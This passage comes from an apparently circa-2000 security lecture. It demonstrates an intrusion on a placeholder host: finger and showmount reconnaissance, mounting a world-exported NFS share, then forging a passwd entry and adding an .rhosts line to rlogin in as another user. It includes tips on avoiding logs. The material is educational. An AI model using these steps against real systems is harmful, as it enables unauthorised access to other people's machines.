On since Nov 19 10:37:51 on ttyp0 from couldron:0.0
5 days 7 hours Idle Time
```

REMARKS

I broke out of the first finger. Why? It took too long. So either I was being trapped and looked up or the connection was just dropped. In either case I didn't want to send all the retries. Logs are such a pain to clean up.

Strange a similar pattern of logins on this host as well. Perhaps that first host was not a honey jar.

April 5, 2000

More NFS Checks

- Lets explore this one a little more.

```
$ showmount -e cold.TARGET.COM
export list for cold.TARGET.COM:
/usr/users/planner1/data (everyone)
/gofs                    (everyone)
```

- This looks too good to be true.
  - But twice in a row
  - Same user
  - Same user loggin pattern

REMARKS

The easiest sites are the ones that either don't care or don't know. In this case it was a little of both. Although they knew of the dangers they figured they were obscure enough not to worry about being attacked. Unfortunately modern netscans will do all of this automatically in the style of the old war dialers. Now large networks can be scanned by computers looking for easy targets.

April 5, 2000

Keep Scanning

- Still not sure if this is a set up or for real

```
$ ping scanner.TARGET.COM
scanner.TARGET.COM is alive
$ finger @scanner.TARGET.COM
[scanner.TARGET.COM]
Login       Name              TTY Idle    When    Where
planner1 planner1              co   3d Thu 18:05
planner1 planner1              p0   5d Thu 18:06  :0.0
planner1 planner1              p1   5d Mon 16:13  :0.0
planner1 planner1              p2   9d Thu 18:06  :0.0
$ finger planner1@scanner.TARGET.COM
[scanner.TARGET.COM]
Login name: planner1                    In real life: planner1
Directory: /export/home/scanner/planner1   Shell: /bin/csh
On since Jan 16 18:05:51 on console     3 days 8 hours Idle Time
No unread mail
No Plan.
[…]
```

REMARKS

It is important to note that, except for the teenage joy surfers, hackers are a patient and cautious lot. It never hurts to keep looking around a bit. So far have done nothing wrong. Plus they are most likely completely unaware of this probe.

Notice the login pattern? This is getting to be too common to be a trap. Lets get a bit more bold now.

April 5, 2000

Time to Intrude

- Time for a non-ethically legal action.

```
$ showmount -e scanner.TARGET.COM
export list for scanner.TARGET.COM:
/export (everyone)
   ***** get root on MY system *****
# su -
password:
# cd mnt
# mkdir scanner
# mount scanner.TARGET.COM:/export /mnt/scanner
```

REMARKS

Most attacks require root level authority. But the authority is NOT on your system but on the attacking system. We can safely assume that the hacker can get root on the system they are already using.

April 5, 2000

Mounted NFS Filesystem Check

- Well, it worked.

```
# df -k

Filesystem            kbytes    used   avail capacity  Mounted on
/dev/dsk/c0t3d0s0      43423   12313   26770    32%    /
/dev/dsk/c0t3d0s6     288391  183419   76142    71%    /usr
/proc                      0       0       0     0%    /proc
fd                         0       0       0     0%    /dev/fd
/dev/dsk/c0t3d0s3      81807   49743   23884    68%    /var
swap                  148372      28  148344     0%    /tmp
/dev/dsk/c0t3d0s7      88375       9   79536     0%    /export/home
scanner.TARGET.COM:/export 884766 132053 664237 17%    /mnt/scanner

# cd /mnt/scanner
```

REMARKS

NFS is pretty dangerous. Especially if it isn't stopped at the boarders. Notice that I am still root on my system.

April 5, 2000

ROOT Access on NFS Mount?

- Lets see what we got.

```
# ls -l
total 32
drwxr-sr-x   3 root     root         512 Feb  9  1994 exec
drwxr-xr-x   3 root     other        512 Feb  9  1994 home
drwxr-xr-x   2 root     root        8192 Feb  9  1994
  lost+found
drwxr-xr-x  10 root     other        512 Jan 19  1997 pkg
drwxr-sr-x   2 root     root         512 Feb  9  1994 share
# touch lost+found/AEFFGRGG
# ls -l lost+found/
total 46
drwxr-xr-x   6 root     root         512 Feb  7 08:29
  AEFFGRGG
# rm lost+found/AEFFGRGG
```

REMARKS

What have I done?

I have demonstrated that I have root level access to the entire exported directory.

I used lost+found because it already has a large number of unused inode entries in its table. Hence my test did not cause any new inodes to be created or the filesystem to be expanded. This avoids possible logging on the filesystem activities.

April 5, 2000

Login to TARGET

- OK lets get in.

```
# cd home
# ls -l
total 12
drwx------   6 25     other    512 Feb 19 12:46 development
drwx------   5 22     other    512 Feb 22 11:21 planner1
drwx------   3 24     other    512 Feb 23  1994 kim
drwx------   3 23     other    512 Jun 14 13:32 phil
# cd kim
      ***** pretending I don't have root NFS access *****
# echo "199.106.183.1 root" >> .rhosts
ksh: .rhosts: Permission denied
```

- Oh darn I am stopped…

REMARKS

Well the export I picked to show had the home directories for the users. So I just need to get to a user's home directory on that system.

LETS PRETEND I DIDN'T HAVE ROOT ACCESS…. Then it would look like this…

April 5, 2000

Login in Anyway

- It really isn't that hard:

```
# echo "kim:x:24:20::/mnt/scanner/home/kim:/bin/ksh" >>
  /etc/passwd
# su - kim
$ echo "199.106.183.1 kim" >> .rhosts
$ rlogin scanner.TARGET.COM
[kim@scanner] /home/kim $
```

- In the system as a fully authorized user
- Not logged, unless they have tcpwrappers? (They do now.)
- In less than 1 hour of real hacking I went from nothing to full access

REMARKS

Believe it or not. Hacking is that easy. Systems that are watching present more of a challenge. But, hackers have time and patience. Besides a really hard system is an "exceptional hack" and very stimulating.

Now the question is are hackers attacking for the shear fun of it, or are they after something you might have that they can make some money off of?

April 5, 2000

Places to Learn

- Some places to start with:

Counterpane - Cryptology	www.counterpane.com
Justin Boyan's Front Door	www.cs.cmu.edu/~jab
Gray Areas Magazine	www.grayarea.com
MIT Center for PGP	web.mit.edu/network/pgp.html
SSH Home Page	www.ssh.org
Cryptix	www.cryptix.org
nmap & Exploits	www.insecure.org
Steve Gibson’s Shields Up	grc.com
L0pht Industries	www.l0pht.com
Old COAST site archive	www.cerias.purdue.edu/coast

REMARKS

You must search, study and explore to become knowledgeable in any field. Security is no different. Just spend some time exploring and thinking.

Good luck.